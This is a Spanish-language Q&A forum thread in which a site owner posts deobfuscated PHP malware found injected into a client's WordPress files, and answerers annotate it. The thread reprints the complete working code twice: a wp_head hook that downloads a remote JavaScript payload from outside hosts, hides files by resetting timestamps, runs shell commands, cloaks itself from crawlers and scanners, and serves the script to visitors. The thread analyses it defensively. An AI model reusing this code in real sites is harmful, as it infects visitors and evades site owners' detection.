2012-03-03 20 views
9

Encontré este código inyectado en una serie de archivos PHP en el sitio de un cliente. Por supuesto, el original había sido ofuscado y codificado. Logré decodificarlo y formatearlo en la forma actual.¿Qué está logrando este código de malware?

Mi pregunta es: ¿Qué está logrando exactamente y el código sugiere cómo se inyectó y, por lo tanto, arroja luz sobre cómo prevenir esto en el futuro?

<?php 
if(!function_exists('check_wp_head_load')){ 
    function check_wp_head_load(){ 
     if(!function_exists('cc')){ 
      function cc($ll_0){ 
       $ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)"; 
       if(function_exists('curl_init')){ 
        $ll_2 = curl_init(); 
        curl_setopt($ll_2, 10002, $ll_0); 
        curl_setopt($ll_2, 42, 0); 
        curl_setopt($ll_2, 13, 30); 
        curl_setopt($ll_2, 19913, 1); 
        curl_setopt($ll_2, 10018, $ll_1); 
        if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){ 
         @curl_setopt($ll_2, 52, 1); 

        } 

        @curl_setopt($ll_2, 68, 2); 
        $ll_3 = curl_exec($ll_2); 
        curl_close($ll_2); 
        if($ll_3 !== false){ 
         return $ll_3; 

        } 

       } 
       else if(function_exists('fsockopen')){ 
        global $ll_4; 
        $ll_0 = str_replace("http://", "", $ll_0); 
        if(preg_match("#/#", "$ll_0")){ 
         $ll_5 = $ll_0; 
         $ll_0 = @explode("/", $ll_0); 
         $ll_0 = $ll_0[0]; 
         $ll_5 = str_replace($ll_0, "", $ll_5); 
         if(!$ll_5 || $ll_5 == ""){ 
          $ll_5 = "/"; 

         } 
         $ll_6 = gethostbyname($ll_0); 

        } 
        else{ 
         $ll_6 = gethostbyname($ll_0); 
         $ll_5 = "/"; 

        } 
        $ll_7 = fsockopen($ll_6, 80, $ll_8, $ll_9, 10); 
        stream_set_timeout($ll_7, 10); 
        if($ll_7){ 
         $ll_10 = "GET $ll_5 HTTP/1.0\r\n"; 
         $ll_10 .= "Host: $ll_0\r\n"; 
         $ll_10 .= "Referer: http://$ll_0$ll_5\r\n"; 
         $ll_10 .= "Accept-Language: en-us, en;q=0.50\r\n"; 
         $ll_10 .= "User-Agent: $ll_1\r\n"; 
         $ll_10 .= "Connection: Close\r\n\r\n"; 
         fputs($ll_7, $ll_10); 
         while(!feof($ll_7)){ 
          $ll_11 .= fgets($ll_7, 4096); 

         } 
         fclose($ll_7); 
         $ll_11 = @explode("\r\n\r\n", $ll_11, 2); 
         $ll_12 = $ll_11[0]; 
         if($ll_4){ 
          $ll_12 = "$ll_4<br /><br />\n$ll_12"; 

         } 
         $ll_12 = str_replace("\n", "<br />", $ll_12); 
         if($ll_11[1]){ 
          $ll_13 = $ll_11[1]; 

         } 
         else{ 
          $ll_13 = ""; 

         } 
         if($ll_13){ 
          $ll_11 = $ll_13; 

         } 
         else{ 
          $ll_11 = $ll_12; 

         } 
         if(preg_match("/Location\:/", "$ll_12")){ 
          $ll_0 = @explode("Location: ", $ll_12); 
          $ll_0 = $ll_0[1]; 
          $ll_0 = @explode("\r", $ll_0); 
          $ll_0 = $ll_0[0]; 
          $ll_4 = str_replace("\r\n\r\n", "", $ll_12); 
          $ll_14 = "&#76&#111&#99&#97&#116&#105&#111&#110&#58"; 
          $ll_4 = str_replace("Location:", $ll_14, $ll_4); 
          return cc($ll_0); 

         } 
         else{ 
          return $ll_11; 

         } 

        } 

       } 
       else{ 
        echo "ERROR"; 
        exit; 

       } 

      } 

     } 
     if(!function_exists('detB')){ 
      function detB($ll_15, $ll_16){ 
       $ll_17 = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", 
           "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", 
           "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38", 
           "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", 
           "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", 
           "64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]", 
           "216\.239\.37\.9[8-9]","216\.239\.39\.9[8-9]","216\.239\.41\.9[6-9]","216\.239\.45\.4","216\.239\.46\.[0-9]+","216\.239\.51\.9[6-9]","216\.239\.53\.9[8-9]", 
           "216\.239\.57\.9[6-9]","216\.239\.59\.9[8-9]","216\.33\.229\.163","64\.233\.173\.[0-9]+","64\.68\.8[0-9]\.[0-9]+","64\.68\.9[0-2]\.[0-9]+","72\.14\.199\.[0-9]+", 
           "8\.6\.48\.[0-9]+","207\.211\.40\.82","67\.162\.158\.146","66\.255\.53\.123","24\.200\.208\.112","129\.187\.148\.240","129\.187\.148\.244", 
           "199\.126\.151\.229","118\.124\.32\.193","89\.149\.217\.191","122\.164\.27\.42","149\.5\.168\.2","150\.70\.66\.[0-9]+","194\.250\.116\.39", 
           "208\.80\.194\.[0-9]+","62\.190\.39\.205","67\.198\.80\.236","85\.85\.187\.243","95\.134\.141\.250","97\.107\.135\.[0-9]+","97\.79\.239\.[0-9]+", 
           "184\.168\.191\.[0-9]+","95\.108\.157\.[0-9]+","209\.235\.253\.17"); 
       $ll_18 = array("http","google","slurp","msnbot","bot","crawl", 
           "spider","robot","httpclient","curl","php","indy library", 
           "wordpress","charlotte","wwwster","python","urllib","perl", 
           "libwww","lynx","twiceler","rambler","yandex","trend", 
           "virus","malware","wget"); 
       $ll_15 = preg_replace("|User\.Agent\:[\s ]?|i", "", $ll_15); 
       $ll_19 = true; 
       foreach($ll_17 as $ll_20) 
        if(eregi("$ll_20", $ll_16)){ 
         $ll_19 = false; 
         break; 

        } 
        if($ll_19) 
         foreach($ll_18 as $ll_21) 
          if(eregi($ll_21, $ll_15) !== false){ 
           $ll_19 = false; 
           break; 

          } 
          if($ll_19 and!eregi("^[a-zA-Z]{5,}", $ll_15)){ 
           $ll_19 = false; 

          } 
          if($ll_19 and strlen($ll_15) <= 11){ 
           $ll_19 = false; 

          } 
          return $ll_19; 

      } 

     } 
     if(!function_exists('rm_rf_file')){ 
      function rm_rf_file($ll_22){ 
       $ll_23 = filemtime($ll_22); 
       if($ll_24 = opendir($ll_22)){ 
        while(false !==($ll_25 = readdir($ll_24))){ 
         if($ll_25 != "." && $ll_25 != ".." && is_file($ll_25)){ 
          chmod($ll_25, 438); 
          unlink($ll_25); 

         } 

        } 
        closedir($ll_24); 

       } 
       touch($ll_22, $ll_23, $ll_23); 

      } 

     } 
     if(!function_exists('sys_get_temp_dir')){ 
      function sys_get_temp_dir(){ 
       if($ll_26 = getenv("TMP")) 
        return $ll_26; 
       if($ll_26 = getenv("TEMP")) 
        return $ll_26; 
       if($ll_26 = getenv("TMPDIR")) 
        return $ll_26; 
       $ll_26 = tempnam(__FILE__, ""); 
       if(file_exists($ll_26)){ 
        unlink($ll_26); 
        return dirname($ll_26); 

       } 
       return false; 

      } 

     } 
     if(!function_exists('ex')){ 
      function ex($ll_27){ 
       $ll_28 = ""; 
       if(!empty($ll_27)){ 
        if(function_exists('exec')){ 
         @exec($ll_27, $ll_28); 
         $ll_28 = join("\n", $ll_28); 

        } 
        elseif(function_exists('shell_exec')){ 
         $ll_28 = @shell_exec($ll_27); 

        } 
        elseif(function_exists('system')){ 
         @ob_start(); 
         @system($ll_27); 
         $ll_28 = @ob_get_contents(); 
         @ob_end_clean(); 

        } 
        elseif(function_exists('passthru')){ 
         @ob_start(); 
         @passthru($ll_27); 
         $ll_28 = @ob_get_contents(); 
         @ob_end_clean(); 

        } 
        elseif(@is_resource($ll_29 = @popen($ll_27, "r"))){ 
         $ll_28 = ""; 
         while([email protected]($ll_29)){ 
          $ll_28 .= @fread($ll_29, 1024); 

         } 
         @pclose($ll_29); 

         }elseif(@function_exists('proc_open') && @is_resource($ll_29 = @proc_open($ll_27, array(1 => array("pipe", "w")), $ll_30))){ 
          $ll_28 = ""; 
          if(@function_exists('fread') && @function_exists('feof')){ 
           while([email protected]($ll_30[1])){ 
            $ll_28 .= @fread($ll_30[1], 1024); 

           } 

          } 
          else if(@function_exists('fgets') && @function_exists('feof')){ 
           while([email protected]($ll_30[1])){ 
            $ll_28 .= @fgets($ll_30[1], 1024); 

           } 

          } 
          @proc_close($ll_29); 

         } 

       } 
       return htmlspecialchars($ll_28); 

      } 

     } 
     $ll_31 = "lonly"; 
     $ll_32 = $_SERVER["REMOTE_ADDR"]; 
     $ll_1 = $_SERVER["HTTP_USER_AGENT"]; 
     $ll_33 = $_SERVER["SCRIPT_FILENAME"]; 
     $ll_34 = strtolower($ll_1); 
     if($ll_32 == "" || $ll_1 == "" || $ll_33 == "") 
      return null; 
     if(!isset($_COOKIE[$ll_31])){ 
      $ll_35 = @sys_get_temp_dir(); 
      if(!$ll_35){ 
       $ll_35 = dirname($ll_33); 
       $ll_36 = $ll_35 ."/.tmp"; 

      } 
      else{ 
       $ll_36 = $ll_35 ."/.tmp"; 
       if([email protected]_exists($ll_36)){ 
        $ll_23 = @filemtime($ll_35); 
        @mkdir($ll_36); 
        $ll_37 = @fopen("$ll_36/r", "w"); 
        @fwrite($ll_37, ""); 
        @fclose($ll_37); 
        @chmod($ll_36, 511); 
        @touch("$ll_36/r", $ll_23, $ll_23); 
        @touch($ll_35, $ll_23, $ll_23); 
        @touch($ll_36, $ll_23, $ll_23); 
        if([email protected]_exists("$ll_36/r")){ 
         $ll_35 = dirname($ll_33); 
         $ll_36 = $ll_35 ."/.cache"; 

        } 

       } 

      } 
      if([email protected]_exists($ll_36)){ 
       $ll_23 = @filemtime($ll_35); 
       @mkdir($ll_36); 
       @chmod($ll_36, 511); 
       @touch($ll_35, $ll_23, $ll_23); 
       @touch($ll_36, $ll_23, $ll_23); 

      } 
      $ll_38 = @date("Hi"); 
      $ll_39 = @date("ymd"); 
      $ll_40 = "$ll_36/$ll_39"; 
      $ll_41 = "$ll_36/tmp_$ll_39"; 
      $ll_42 = $ll_39 - 1; 
      if(@file_exists("$ll_36/tmp_$ll_42") || ($ll_38 >= "0000" && 
        $ll_38 <= "0001") || ($ll_38 >= "1200" && 
        $ll_38 <= "1201") || ($ll_38 >= "1800" && 
        $ll_38 <= "1801")){ 
       @rm_rf_file($ll_36); 
       @ex("rm -rf $ll_36/*"); 

      } 
      if([email protected]_exists($ll_40)){ 
       $ll_23 = @filemtime($ll_36); 
       $ll_37 = @fopen($ll_40, "w"); 
       @fclose($ll_37); 
       @chmod($ll_40, 511); 
       @touch($ll_36, $ll_23, $ll_23); 

      } 
      if(@is_writable($ll_36) && ([email protected]_exists($ll_41) || @filesize($ll_41) < 5)){ 
       $ll_43 = array("ohix.", "effbot.", "/f/", "net"); 
       $ll_44 = $ll_43[rand(0, 1)] .$ll_43[3] .$ll_43[2]; 
       $ll_45 = @cc($ll_44); 
       if($ll_45 != "ERROR" && base64_decode($ll_45) !== false){ 
        $ll_23 = @filemtime($ll_36); 
        $ll_37 = @fopen($ll_41, "w"); 
        @fwrite($ll_37, "$ll_45"); 
        @fclose($ll_37); 
        @chmod($ll_41, 511); 
        @touch($ll_36, $ll_23, $ll_23); 
        @touch($ll_41, $ll_23, $ll_23); 

       } 
       else 
        return null; 

      } 
      $ll_46 = @base64_decode(@file_get_contents($ll_41)); 
      $ll_47 = @file($ll_40); 
      $ll_48 = false; 
      foreach($ll_47 as $ll_49){ 
       if(@trim($ll_49) == $ll_32){ 
        $ll_48 = true; 
        break; 

       } 

      } 
      $ll_19 = @detB($ll_1,$ll_32); 
      if($ll_48 == false && $ll_19 == true){ 
       $ll_37 = @fopen($ll_40,"a"); 
       @fwrite($ll_37, "$ll_32\n"); 
       @fclose($ll_37); 
       echo "\n" .str_repeat(" ", mt_rand(300, 1000)) 
         . "<script type='text/javascript'>$ll_46</script>\n"; 

      } 

     } 

    } 

} 
$ll_31 = "lonly"; 
if(!isset($_COOKIE[$ll_31])) 
    @add_action("wp_head", "check_wp_head_load", mt_rand(1, 7)); 
?> 
+0

Tema aparte. Eso está demasiado embrutecido para el análisis aún. Utiliza algunas soluciones para cargar recursos remotos, almacena archivos temporales y ocasionalmente ejecuta los archivos binarios descargados. También parece inyectar código JavaScript. - En cuanto al agujero explotado: eso era Wordpress y/o contraseñas débiles. – mario

+0

Escanear con un antivirus y buscar información basada en el nombre devuelto. Hay escáneres en línea, por ejemplo: http://www.virustotal.com – ninjalj

+0

Lo ejecuté a través de virustotal.com y obtuve las siguientes opciones: PHP: Shell-AX [Trj], PHP.ShellExec, PHP: Shell-AX, Heurística .BehavesLike.JS.Suspicious.G – KalenGi

Respuesta

5

Bien, en el primer análisis de todas las funciones definidas y en el análisis final de lo que realmente hace el script.El script define siguientes funciones:

cargar cualquier contenido de URL, cuenta con 2 implementaciones (uno para rizo, segundo para enchufes):

function cc($url) { 
    $user_agent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)"; 
    if (function_exists('curl_init')) { 
     $ch = curl_init(); 
     curl_setopt($ch, CURLOPT_URL, $url); 
     curl_setopt($ch, CURLOPT_HEADER, 0); 
     curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
     curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); 
     if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))) { 
      @curl_setopt($ch, CURLE_GOT_NOTHING, 1); 
     } 

     @curl_setopt($ch, CURLOPT_MAXREDIRS, 2); 
     $content = curl_exec($ch); 
     curl_close($ch); 

     if ($content !== false) { 
      return $content; 
     } 
    } else if (function_exists('fsockopen')) { 
     // Alternative implementation 
    } else { 
     echo "ERROR"; 
     exit; 
    } 
} 

Una especie de validación/agente de usuario RemoteAddr (cuando para ocultar):

function detB($userAgent, $remoteAddr) { 
    // Those are obviously regexps which will match quite wide range of ip addresses 
    $ipList = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", 
     "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", 
     "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38", 
     "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", 
     "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", 
     "64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]", 
     "216\.239\.37\.9[8-9]", "216\.239\.39\.9[8-9]", "216\.239\.41\.9[6-9]", "216\.239\.45\.4", "216\.239\.46\.[0-9]+", "216\.239\.51\.9[6-9]", "216\.239\.53\.9[8-9]", 
     "216\.239\.57\.9[6-9]", "216\.239\.59\.9[8-9]", "216\.33\.229\.163", "64\.233\.173\.[0-9]+", "64\.68\.8[0-9]\.[0-9]+", "64\.68\.9[0-2]\.[0-9]+", "72\.14\.199\.[0-9]+", 
     "8\.6\.48\.[0-9]+", "207\.211\.40\.82", "67\.162\.158\.146", "66\.255\.53\.123", "24\.200\.208\.112", "129\.187\.148\.240", "129\.187\.148\.244", 
     "199\.126\.151\.229", "118\.124\.32\.193", "89\.149\.217\.191", "122\.164\.27\.42", "149\.5\.168\.2", "150\.70\.66\.[0-9]+", "194\.250\.116\.39", 
     "208\.80\.194\.[0-9]+", "62\.190\.39\.205", "67\.198\.80\.236", "85\.85\.187\.243", "95\.134\.141\.250", "97\.107\.135\.[0-9]+", "97\.79\.239\.[0-9]+", 
     "184\.168\.191\.[0-9]+", "95\.108\.157\.[0-9]+", "209\.235\.253\.17"); 

    // Those are magic words to be matched 
    $wordsList = array("http", "google", "slurp", "msnbot", "bot", "crawl", 
     "spider", "robot", "httpclient", "curl", "php", "indy library", 
     "wordpress", "charlotte", "wwwster", "python", "urllib", "perl", 
     "libwww", "lynx", "twiceler", "rambler", "yandex", "trend", 
     "virus", "malware", "wget"); 
    $userAgent = preg_replace("|User\.Agent\:[\s ]?|i", "", $userAgent); 
    $replacedHeader = true; 
    foreach ($ipList as $ip) 
     if (eregi("$ip", $remoteAddr)) { 
      $replacedHeader = false; 
      break; 
     } 
    if ($replacedHeader) 
     foreach ($wordsList as $word) 
      if (eregi($word, $userAgent) !== false) { 
       $replacedHeader = false; 
       break; 
      } 
    if ($replacedHeader and !eregi("^[a-zA-Z]{5,}", $userAgent)) { 
     $replacedHeader = false; 
    } 
    if ($replacedHeader and strlen($userAgent) <= 11) { 
     $replacedHeader = false; 
    } 
    return $replacedHeader; 
} 

eliminar el archivo/directorio de forma recursiva y sustituirlo por propia nuevo archivo (por lo mtime coincidirán)

function rm_rf_file($filename) { 
    $fileMTime = filemtime($filename); 
    if ($directory = opendir($filename)) { 
     while (false !== ($directoryItem = readdir($directory))) { 
      if ($directoryItem != "." && $directoryItem != ".." && is_file($directoryItem)) { 
       chmod($directoryItem, 438); // 438 = 0666 
       unlink($directoryItem); 
      } 
     } 
     closedir($directory); 
    } 
    touch($filename, $fileMTime, $fileMTime); 
} 
directorio

Get sistema/php temporal (varias formas):

function sys_get_temp_dir() { 
    if ($tmpDir = getenv("TMP")) 
     return $tmpDir; 
    if ($tmpDir = getenv("TEMP")) 
     return $tmpDir; 
    if ($tmpDir = getenv("TMPDIR")) 
     return $tmpDir; 
    // Now it's tmp file, not tmp dir 
    $tmpDir = tempnam(__FILE__, ""); 
    if (file_exists($tmpDir)) { 
     unlink($tmpDir); 
     return dirname($tmpDir); 
    } 
    return false; 
} 

ejecutar el comando shell (aplicación para todos los posibles ejecuciones que soporta PHP):

function ex($shellCommand) { 
    $result = ""; 
    if (!empty($shellCommand)) { 
     if (function_exists('exec')) { 
      @exec($shellCommand, $result); 
      $result = join("\n", $result); 
     } elseif (function_exists('shell_exec')) { 
      $result = @shell_exec($shellCommand); 
     } elseif (function_exists('system')) { 
      @ob_start(); 
      @system($shellCommand); 
      $result = @ob_get_contents(); 
      @ob_end_clean(); 
     } elseif (function_exists('passthru')) { 
      @ob_start(); 
      @passthru($shellCommand); 
      $result = @ob_get_contents(); 
      @ob_end_clean(); 
     } elseif (@is_resource($processHandler = @popen($shellCommand, "r"))) { 
      $result = ""; 
      while ([email protected]($processHandler)) { 
       $result .= @fread($processHandler, 1024); 
      } 
      @pclose($processHandler); 
     } elseif (@function_exists('proc_open') && @is_resource($processHandler = @proc_open($shellCommand, array(1 => array("pipe", "w")), $shellOutput))) { 
      $result = ""; 
      if (@function_exists('fread') && @function_exists('feof')) { 
       while ([email protected]($shellOutput[1])) { 
        $result .= @fread($shellOutput[1], 1024); 
       } 
      } else if (@function_exists('fgets') && @function_exists('feof')) { 
       while ([email protected]($shellOutput[1])) { 
        $result .= @fgets($shellOutput[1], 1024); 
       } 
      } 
      @proc_close($processHandler); 
     } 
    } 
    return htmlspecialchars($result); 
} 

y la función principal de la carga útil:

// This is just initialization for script variables 
$cookieKey = "lonly"; 
$remoteAddr = $_SERVER["REMOTE_ADDR"]; 
$userAgent = $_SERVER["HTTP_USER_AGENT"]; 
$scriptFileName = $_SERVER["SCRIPT_FILENAME"]; 
$userAgentToLower = strtolower($userAgent); 

// Requires to have all variables filled 
if ($remoteAddr == "" || $userAgent == "" || $scriptFileName == "") 
    return null; 

// Initialization via cookies 
if (!isset($_COOKIE[$cookieKey])) { 
    $tempDir = @sys_get_temp_dir(); 

    // If there's no tmp dir create directory in current directory 
    if (!$tempDir) { 
     $tempDir = dirname($scriptFileName); 
     $tempDirectory = $tempDir . "/.tmp"; 

    // Create directory in temporary directory and hide directory mtime 
    } else { 
     $tempDirectory = $tempDir . "/.tmp"; 
     if ([email protected]_exists($tempDirectory)) { 
      $directoryMTime = @filemtime($tempDir); 
      @mkdir($tempDirectory); 
      $tempFileFP = @fopen("$tempDirectory/r", "w"); 
      @fwrite($tempFileFP, ""); 
      @fclose($tempFileFP); 
      @chmod($tempDirectory, 511); // 0777 
      @touch("$tempDirectory/r", $directoryMTime, $directoryMTime); 
      @touch($tempDir, $directoryMTime, $directoryMTime); 
      @touch($tempDirectory, $directoryMTime, $directoryMTime); 
      if ([email protected]_exists("$tempDirectory/r")) { 
       $tempDir = dirname($scriptFileName); 
       $tempDirectory = $tempDir . "/.cache"; 
      } 
     } 
    } 

    // Make sure that directory exists 
    if ([email protected]_exists($tempDirectory)) { 
     $directoryMTime = @filemtime($tempDir); 
     @mkdir($tempDirectory); 
     @chmod($tempDirectory, 511); // 0777 
     @touch($tempDir, $directoryMTime, $directoryMTime); 
     @touch($tempDirectory, $directoryMTime, $directoryMTime); 
    } 

    // Initializes variables 
    $time = @date("Hi"); 
    $date = @date("ymd"); 
    $ipStorageFile = "$tempDirectory/$date"; 
    $payloadFile = "$tempDirectory/tmp_$date"; 
    $date2 = $date - 1; 

    // Remove our own mass if there's file one day old, 
    // or when we launch script at certain times (0000, 1200 and 1800) 
    if (@file_exists("$tempDirectory/tmp_$date2") || ($time >= "0000" && 
     $time <= "0001") || ($time >= "1200" && 
     $time <= "1201") || ($time >= "1800" && 
     $time <= "1801")) { 
     @rm_rf_file($tempDirectory); 
     @ex("rm -rf $tempDirectory/*"); 
    } 

    // Create one temporary file 
    if ([email protected]_exists($ipStorageFile)) { 
     $directoryMTime = @filemtime($tempDirectory); 
     $tempFileFP = @fopen($ipStorageFile, "w"); 
     @fclose($tempFileFP); 
     @chmod($ipStorageFile, 511); // 0777 
     @touch($tempDirectory, $directoryMTime, $directoryMTime); 
    } 

    // If file2 doesn't exists or is empty try to load content from website 
    // Websites is one of those: 
    // ohix.net/f/ 
    // effbot.net/f/ 
    if (@is_writable($tempDirectory) && ([email protected]_exists($payloadFile) || @filesize($payloadFile) < 5)) { 
     $urlParts = array("ohix.", "effbot.", "/f/", "net"); 
     $url = $urlParts[rand(0, 1)] . $urlParts[3] . $urlParts[2]; 
     $content = @cc($url); 
     if ($content != "ERROR" && base64_decode($content) !== false) { 
      $directoryMTime = @filemtime($tempDirectory); 
      $tempFileFP = @fopen($payloadFile, "w"); 
      @fwrite($tempFileFP, "$content"); 
      @fclose($tempFileFP); 
      @chmod($payloadFile, 511); 
      @touch($tempDirectory, $directoryMTime, $directoryMTime); 
      @touch($payloadFile, $directoryMTime, $directoryMTime); 
     } 
     else 
      return null; 
    } 

    // Load contents 
    $content = @base64_decode(@file_get_contents($payloadFile)); 
    $ipList = @file($ipStorageFile); 
    $knowenIp = false; 

    // Check whether this IP was already used 
    foreach ($ipList as $ip) { 
     if (@trim($ip) == $remoteAddr) { 
      $knowenIp = true; 
      break; 
     } 
    } 

    $clientValidation = @detB($userAgent, $remoteAddr); 
    if ($knowenIp == false && $clientValidation == true) { 
     $tempFileFP = @fopen($ipStorageFile, "a"); 
     @fwrite($tempFileFP, "$remoteAddr\n"); 
     @fclose($tempFileFP); 
     echo "\n" . str_repeat(" ", mt_rand(300, 1000)) 
     . "<script type='text/javascript'>$content</script>\n"; 
    } 
} 

Así que si estoy leyendo todo este código correctamente, el script hace lo siguiente:

  • un intento de inicialización algunas funciones (Cada uno explicó por separado)
  • crear el directorio temporal sin modificar mtime de carpeta principal
  • carga "carga útil" en $payloadFile (probablemente contenido de publicidad) de uno de estos sitios:
    • ohix.net/f/
    • effbot.net/f/
  • Solo muestra contenido una vez al día para cada usuario/ip ($ipStorageFile)
  • El script es lo suficientemente inteligente (función detB) para no mostrar su contenido a ciertas direcciones IP (probablemente algunos bots, controles de seguridad, etc.) y algunos agentes de usuario (como googlebots o clientes que no pueden ejecutar javascript de forma predeterminada).
+1

¡Este es un análisis extremadamente completo! La carga útil javascript también podría ser un medio para infectar otras computadoras. ¿Es posible que esto resulte en la modificación de archivos PHP en un servidor diferente? Quiero determinar si este es un medio posible por el cual este servidor se vio comprometido. (Por supuesto, además de contraseñas débiles y/o un agujero en WordPress) – KalenGi

+0

@kalengi ¿En otro servidor? No debería.Ni siquiera debería poder modificar tus archivos (con permisos y modos seguros establecidos correctamente). Pero con esto puede iniciar lo que javascript desea (que puede lanzar muchas solicitudes ajax y cada una de ellas puede comprometer otro servidor). Este "virus" parece estar diseñado para atacar clientes http, no servidores. – Vyktor

0

Después de algún refactorización y la lectura, que concluyó el guión con el tiempo hará que el servidor al navegador a uno de los siguientes sitios web:

  • ohic.net/f/
  • effbot.net/ f/

Además de descargar y ejecutar archivos de esos sitios web.

O bien tiene una contraseña débil (o de alguna manera adivinable), o puede ser un problema de seguridad en wordpress. Asegúrate de tener la versión más actualizada.

+0

Parece que estás en el camino correcto. Busqué en Google esos nombres de sitios y obtuve un comentario en el foro (http://arstechnica.com/civis/viewtopic.php?p=22307474&sid=680827f152e94cdcf3dd3d433da54419#p22307474) que se agrega a lo que has publicado. – KalenGi

Cuestiones relacionadas